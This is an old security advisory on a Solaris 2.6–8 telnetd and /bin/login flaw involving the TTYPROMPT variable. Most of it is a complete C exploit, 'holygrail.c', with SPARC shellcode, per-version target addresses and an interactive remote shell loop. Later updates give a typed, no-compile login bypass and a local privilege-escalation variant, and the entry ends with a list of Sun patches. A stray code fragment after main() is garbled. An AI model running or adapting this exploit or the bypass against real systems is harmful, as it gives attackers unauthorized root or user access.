22th Aug 2002 [SBWID-5651]
COMMAND

		telnetd remote and local root exploit
	
	

SYSTEMS AFFECTED

		Solaris 2.6, 2.7, 8 SPARC Platform
	
	

PROBLEM

		Brendan C. Johnson passed this code "holygrail.c" ;
		
		
		#include <stdio.h>
		#include <string.h>
		#include <netdb.h>
		#include <unistd.h>
		#include <errno.h>
		#include <sys/socket.h>
		#include <sys/types.h>
		#include <netinet/in.h>
		#include <arpa/telnet.h>
		
		#ifdef SOLARIS
		typedef unsigned long u_int32_t;
		#endif
		
		#define BUFLEN 1024
		
		char shellcode[]=
		"\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0"
		"\x90\x23\xa0\x10\x94\x23\x80\x0e\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4"
		"\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08";
		
		struct {
		    char *name;
		    unsigned long in_addr;
		    unsigned long out_addr;
		} targets[] = {
		    { "Solaris 8/SPARC local proof of concept", 0xff1bd538, 0xff1b7028 },
		    { "Solaris 2.7/SPARC local proof of concept", 0xff1bb23c, 0xff1b4a44 },
		    { "Solaris 2.6/SPARC local proof of concept", 0xff6a91f0, 0xef6a323c },
		    { "Solaris 2.5.1/SPARC local proof of concept", 0xff61bfe8, 0xef615144 },
		    { "Solaris 2.7/SPARC remote darkside shit", 0xff1bb150, 0xff1b4c90 },
		    { "Solaris 2.7/SPARC remote darkside shit II", 0xff1b4cc0, 0xff1b4c90 },
		    { "Solaris 2.7/SPARC remote darkside shit III", 0xff1b5950, 0xff1b5920 },
		    { "Solaris 8/SPARC remote darkside shit", 0xff1bd44c, 0xff1b7247 },
		    { "Solaris 8/SPARC remote darkside shit II", 0xff1b9480, 0xff1b9450 },
		    { NULL, 0 }
		};
		
		void usage(char *p)
		{
		    int i;
		
		    fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset] <host>\n", p);
		    fprintf(stderr, "-t: target type (see below)\n");
		    fprintf(stderr, "-p: port to use (default: 23)\n");
		    fprintf(stderr, "-o: offset to use (default: 0)\n\n");
		    
		    fprintf(stderr, "Target Types:\n");
		    for(i = 0; targets[i].name; i++)
		        fprintf(stderr, "%d) %s %.8x %.8x\n", i, targets[i].name, targets[i].in_addr, targets[i].out_addr);
		   
		    fprintf(stderr, "\n"); 
		    exit(0);
		}
		
		void die(char *msg)
		{
		    perror(msg);
		    exit(errno);
		}
		
		u_int32_t get_ip(char *host)
		{
		    struct hostent *hp;
		    
		    if(!(hp = gethostbyname(host))){
		        fprintf(stderr, "cannot resolve %s\n", host);
		        return(0);
		    }
		    return(*(u_int32_t *)hp->h_addr_list[0]);
		}
		
		int get_socket(char *target, int port)
		{
		    int sock;
		    u_int32_t ip;
		    struct sockaddr_in sin;
		
		    if(!(ip = get_ip(target)))
		        return(0);
		    
		    bzero(&sin, sizeof(sin));
		    sin.sin_family = AF_INET;
		    sin.sin_port = htons(port);
		    sin.sin_addr.s_addr = ip;
		    
		    if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
		        die("socket");
		    if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
		        die("connect");
		    return(sock);
		}
		
		void send_wont(int sock, int option)
		{
		    char buf[3], *ptr=buf;
		    
		    *ptr++ = IAC;
		    *ptr++ = WONT;
		    *ptr++ = (unsigned char)option;
		    if(write(sock, buf, 3) < 0)
		        die("write");
		    return;
		}
		
		void send_will(int sock, int option)
		{
		    char buf[3], *ptr=buf;
		
		    *ptr++ = IAC;
		    *ptr++ = WILL;
		    *ptr++ = (unsigned char)option;
		    if(write(sock, buf, 3) < 0)
		        die("write");
		    return;
		}
		
		void send_do(int sock, int option)
		{
		    char buf[3], *ptr=buf;
		
		    *ptr++ = IAC;
		    *ptr++ = DO;
		    *ptr++ = (unsigned char)option;
		    if(write(sock, buf, 3) < 0)
		        die("write");
		    return;
		}
		
		void send_env(int sock, char *name, char *value)
		{
		    char buf[BUFLEN], *ptr = buf;
		    
		    *ptr++ = IAC;
		    *ptr++ = SB;
		    *ptr++ = TELOPT_NEW_ENVIRON;
		    *ptr++ = TELQUAL_IS;
		    *ptr++ = NEW_ENV_VAR;
		    strncpy(ptr, name, BUFLEN-20);
		    ptr += strlen(ptr);
		    *ptr++ = NEW_ENV_VALUE;
		    strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
		    ptr += strlen(ptr);
		    *ptr++ = IAC;
		    *ptr++ = SE;
		    
		    if(write(sock, buf, (ptr - buf)) < 0)
		        die("write");
		    return;
		}
		
		void do_negotiate(int sock)
		{
		    send_wont(sock, TELOPT_TTYPE);
		    send_wont(sock, TELOPT_NAWS);
		    send_wont(sock, TELOPT_LFLOW);
		    send_wont(sock, TELOPT_LINEMODE);
		    send_wont(sock, TELOPT_XDISPLOC);
		    send_will(sock, TELOPT_LFLOW);
		    send_will(sock, TELOPT_LINEMODE);
		    send_wont(sock, TELOPT_OLD_ENVIRON);
		    send_will(sock, TELOPT_NEW_ENVIRON);
		    send_will(sock, TELOPT_BINARY);
		    send_env(sock, "TTYPROMPT", shellcode);
		    return;
		}
		
		void write_attack_buf(int sock, int type)
		{
		    char *attack_buf, *outbuf;
		    int i, j;
		#ifdef SOLARIS
		    char tmpbuf[64];
		#endif
		
		    if(!(attack_buf = (char *)calloc(BUFLEN*3, 1)))
		        die("malloc");
		    if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){
		        free(attack_buf);
		        die("malloc");
		    }
		    if(write(sock, attack_buf, strlen(attack_buf)) < 0)
		        die("write");
		
		    memset(attack_buf+100, '\t', 80);
		
		    /* --- stdio FILE structure, top of _iob -- */
		
		#ifdef SOLARIS
		
		    *(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000);
		    *(long *)&tmpbuf[4] = htonl((unsigned long)targets[type].in_addr);
		    *(long *)&tmpbuf[8] = htonl((unsigned long)targets[type].in_addr);
		    *(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000);
		
		    *(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001);
		    *(long *)&tmpbuf[20] = htonl((unsigned long)targets[type].out_addr);
		    *(long *)&tmpbuf[24] = htonl((unsigned long)targets[type].out_addr);
		    *(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a);
		
		    memcpy(&attack_buf[2055], tmpbuf, 32);
		#else
		 
		    *(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000);
		    *(long *)&attack_buf[2059] = htonl((unsigned long)targets[type].in_addr);
		    *(long *)&attack_buf[2063] = htonl((unsigned long)targets[type].in_addr);
		    *(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000);
		
		    *(long *)&attack_buf[2071] = htonl((unsigned long)0x00000001);
		    *(long *)&attack_buf[2075] = htonl((unsigned long)targets[type].out_addr);
		    *(long *)&attack_buf[2079] = htonl((unsigned long)targets[type].out_addr);
		    *(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a);
		
		#endif
		    /* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */
		    for(i = 0, j = 0; i < 3000; i++){
		        outbuf[j++] = attack_buf[i];
		        if(attack_buf[i] == '\xff')
		            outbuf[j++] = '\xff';
		        if(attack_buf[i] == '\n')
		            break;
		    }
		    
		    if(write(sock, outbuf, j) < 0)
		        die("write"); 
		    
		    /* -- 2 reads for reading the garbage which screws up term -- */
		    if((j = read(sock, attack_buf, BUFLEN)) < 0)
		        die("read");
		    if((j = read(sock, attack_buf, BUFLEN)) < 0)
		        die("read");
		    
		    free(attack_buf);
		    free(outbuf);
		    return;
		}
		
		int main(int argc, char **argv)
		{
		    int c, n, sockfd, type = 0, offset=0, port = 23;
		    char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
		    fd_set rset;
		
		    while((c = getopt(argc, argv, "t:o:p:")) != EOF){
		        switch(c){
		            case 't':
		                type = atoi(optarg);
		                if(type < 0 || type > sizeof(targets)){
		                    fprintf(stderr, "invalid target type\n");
		                    usage(argv[0]);
		                }
		            case 'o':
		                offset = atoi(optarg);
		                break;
		            case 'p':
		                port = atoi(optarg);
		                break;
		        }
		    }
		    
		    if(!argv[optind] || !*argv[optind])
		        usage(argv[0]);
		    if(!(sockfd = get_socket(argv[optind], port)))
		        exit(-1);
		    do_negotiate(sockfd);
		
		    n = read(sockfd, buf, sizeof(buf));
		    write_attack_buf(sockfd, type);
		    send_wont(sockfd, TELOPT_BINARY);
		    sleep(1);
		    read(sockfd, buf, sizeof(buf));
		    write(sockfd, shellstr, strlen(shellstr));
		
		    FD_ZERO(&rset);
		    for(;;){
		        FD_SET(0, &rset);
		        FD_SET(sockfd, &rset);
		        if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
		            die("select");
		        
		        if(FD_ISSET(sockfd, &rset)){
		            bzero(buf, sizeof(buf));
		            if((n = read(sockfd, buf, sizeof(buf))) < 0)
		                die("read");
		            if(n == 0){
		                printf("EOF\n");
		                exit(0);
		            }
		            write(1, buf, n);
		        }
		        
		        if(FD_ISSET(0, &rset)){
		            bzero(buf, sizeof(buf));
		            if((n = read(0, buf, sizeof(buf))) < 0)
		                die("read");
		            if(n == 0)
		                exit(0);
		            write(sockfd, buf, n);
		        }
		    }
		}
		
		n = read(sockfd, buf, sizeof(buf));
		if (strstr(buf, "login:") == NULL) {
		printf("FAILED :(\n");
		exit(-1);
		}
		
	
	
	 Update (03 October 2002)
	 ======
	
	Jonathan Stuart adds :
	
	Solaris 2.6, 7, and 8  /bin/login  has  a  vulnerability  involving  the
	environment variable TTYPROMPT.  This  vulnerability  has  already  been
	reported to BugTraq and a patch has been released by Sun.
	
	However, a very simple exploit, which does not require any  code  to  be
	compiled by an attacker, exists. The exploit requires  the  attacker  to
	simply define the  environment  variable  TTYPROMPT  to  a  6  character
	string, inside telnet.  I  believe  this  overflows  an  integer  inside
	login, which specifies whether or not the user  has  been  authenticated
	(just a guess). Once connected to the remote host,  you  must  type  the
	username, followed by 64 " c"s, and a literal "\n".  You  will  then  be
	logged in as the user without any password authentication.  This  should
	work  with  any  account  except  root  (unless  remote  root  login  is
	allowed).
	
	 Example:
	
	coma% telnet
	telnet> environ define TTYPROMPT abcdef
	telnet> o localhost
	
	SunOS 5.8
	
	bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c
	c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\n
	Last login: whenever
	$ whoami
	bin
	
	
	 Update (04 October 2002)
	 ======
	
	Dan Diamond adds :
	
	This exploit can also be done local to gain higher priv's
	
	tester#TTYPROMPT=aaaaaa;export TTYPROMPT
	tester#exec login
	bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c 
	c c c c c c c c c c c c c c c/n
	tester:bin#
	
	

SOLUTION

		Casper Disk comments :
		
		This appears to be an exploit exploiting the combination of the bugs:
		
		4516876 in.telnetd should not accept TTYPROMPT from remote
		4516885 *login* security problem
		
		Patches that fix the login problem:
		
		105665-04: SunOS 5.6: /usr/bin/login patch
		105666-04: SunOS 5.6_x86: /usr/bin/login patch
		106160-02: SunOS 5.5.1: /usr/bin/login patch
		106161-02: SunOS 5.5.1_x86: /usr/bin/login patch
		108729-01: SunOS 5.5: /usr/bin/login patch
		108730-01: SunOS 5.5_x86: /usr/bin/login patch
		111085-02: SunOS 5.8: /usr/bin/login patch
		111086-02: SunOS 5.8_x86:: /usr/bin/login patch
		112300-01: SunOS 5.7: usr/bin/login Patch
		112301-01: SunOS 5.7_x86: usr/bin/login Patch
		
		Patches that fix the telnetd problem (and other telnetd problems):
		
		106049-04: SunOS 5.6: /usr/sbin/in.telnetd patch
		106050-04: SunOS 5.6_x86: /usr/sbin/in.telnetd patch
		107475-04: SunOS 5.7: /usr/sbin/in.telnetd Patch
		107476-04: SunOS 5.7_x86: /usr/sbin/in.telnetd Patch
		110668-03: SunOS 5.8: /usr/sbin/in.telnetd patch
		110669-03: SunOS 5.8_x86: /usr/sbin/in.telnetd patch
	
	
	 Update (04 October 2002)
	 ======
	
	Patches to resolve are:
	
	2.6 105665-04
	2.7 112300-01
	2.8 111085-01